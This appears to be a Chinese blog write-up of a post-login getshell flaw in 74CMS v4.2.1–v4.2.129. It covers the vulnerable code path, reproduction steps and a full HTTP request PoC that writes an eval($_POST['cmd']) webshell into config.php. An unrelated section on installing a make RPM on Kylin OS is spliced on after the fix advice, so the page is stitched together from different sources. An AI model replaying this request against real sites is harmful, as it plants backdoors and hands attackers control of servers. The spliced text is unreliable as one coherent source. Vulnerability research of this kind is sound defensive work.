74CMS_v4.2.1-v4.2.129后台Getshell

本文详细分析了74CMS管理系统存在的后台Getshell漏洞,该漏洞允许攻击者通过篡改模板路径参数,向配置文件写入恶意代码,从而获取服务器权限。漏洞存在于TplController.class.php的set函数中,通过构造特殊payload能成功执行PHP代码。修复建议是升级到74CMS的最新版本以避免风险。

影响范围

74CMS v4.2.1~v4.2.129

漏洞危害

后台Getshell

攻击类型

后台Getshell

利用条件

登陆后台

漏洞简介

74CMS管理后台在更换模板时由于模板的路径参数可控且对参数的安全性考虑不全导致该参数可控,最终攻击者可以利用该处的设计向配置文件写入一句话木马,并Getshell。
 

漏洞分析

漏洞触发位置为TplController.class.php文件中的set函数:
 
74cms_Home_Setup_v4.2.111\74cms_v4.2.111\upload\Application\Admin\Controller\TplController.class.php
从上面可以看到从请求包中获取到的tpl_dir只是进行了一个简单的过滤——去除两边的空格,之后调用“_get_templates_info”来获取模板的信息:
 
之后使用“ads_init”来配置当前主题下的广告位置布局信息
 
 
最后使用updateconfig来更新配置信息,并将之前设置的配置内容写入文件:
 
由此可知,我们之前写入的tpl_dir值最终会被写入config.php文件,而初始情况下config.php为一个数组:
所以我们最后写入的tpl_dir内容文件会代替此处的default,由此可知我们可以构造特殊payload来闭合单引号插入恶意代码最终getshell!
 

漏洞复现

首先下载漏洞环境,之后通过PHPstudy搭建漏洞测试环境:
 
之后使用安装时设置的管理员账号密码进行登录
 
之后依次点击"工具"——》"风格模板",之后点击"可用模板",同时使用burpsuite抓包:
 
 
 
之后修改“tpl_dir”的值为“ ', 'a',phpinfo(),' ”:
之后可以看到成功向配置文件中写入了之前构造的php代码:
 
之后在浏览器中访问可成功执行phpinfo():
 
同时我们也可以构造一句话木马:
GET /74cms/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',eval($_POST['cmd']),' HTTP/1.1
Host: 192.168.174.160
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.174.160/74cms/index.php?m=admin&c=tpl&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ptacfv3e96fo666m97k6t21su5; think_language=zh-CN; think_template=default
Connection: close

写入后config.php文件内容如下:
之后使用Firefox中的hackbar进行测试与命令执行:
 
之后使用蚁剑可以成功连接并getshell
 
 

漏洞POC

GET /74cms/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',eval($_POST['cmd']),' HTTP/1.1
Host: 192.168.174.160
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.174.160/74cms/index.php?m=admin&c=tpl&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ptacfv3e96fo666m97k6t21su5; think_language=zh-CN; think_template=default
Connection: close

修复建议

升级74CMS到最新版本
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
### 如何在麒麟系统上查找或下载 `make-4.2.1-xx.el8.x86_64.rpm` 软件包 在麒麟操作系统(Kylin OS)上,若需要查找或下载特定的 RPM 包,例如 `make-4.2.1-xx.el8.x86_64.rpm`,可以采用以下方法: #### 方法一:通过官方软件仓库安装 麒麟操作系统通常维护了官方的软件仓库,用户可以通过 `dnf` 或 `yum` 命令来搜索和安装所需的软件包。运行以下命令以检查是否可以从官方仓库中获取 `make` 的相关版本[^1]: ```bash dnf search make ``` 如果找到匹配的软件包,可以直接使用以下命令进行安装: ```bash dnf install make ``` #### 方法二:手动下载 RPM 包 如果需要特定版本的 RPM 包(如 `make-4.2.1-xx.el8.x86_64.rpm`),可以访问麒麟操作系统的官方镜像站点或其他可信的 RPM 仓库。常见的 RPM 仓库包括但不限于: - 麒麟操作系统官网 - CentOS 或 RHEL 的官方镜像站点(由于麒麟基于 RHEL/CentOS,这些站点可能包含兼容的 RPM 包) 通过浏览器访问上述站点,搜索关键字 `make-4.2.1-xx.el8.x86_64.rpm` 并下载。下载完成后,可以使用以下命令安装: ```bash rpm -ivh make-4.2.1-xx.el8.x86_64.rpm ``` #### 方法三:使用第三方工具或脚本 如果以上方法未能满足需求,还可以考虑使用第三方工具如 `rpmfind.net` 搜索所需的 RPM 包。例如,在浏览器中输入以下 URL 进行搜索: ``` https://rpmfind.net/linux/rpm2html/search.php?query=make-4.2.1-xx.el8.x86_64.rpm ``` 下载后同样可以通过 `rpm` 命令完成安装。 #### 注意事项 在安装非官方来源的 RPM 包时,请务必验证其来源的可靠性,以避免潜在的安全风险。此外,确保目标 RPM 包与当前系统架构(如 x86_64)和版本(如 EL8)兼容[^2]。 ```python # 示例代码:验证已安装的 make 版本 import subprocess def check_make_version(): result = subprocess.run(['make', '--version'], stdout=subprocess.PIPE) return result.stdout.decode('utf-8').split('\n')[0] print(check_make_version()) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值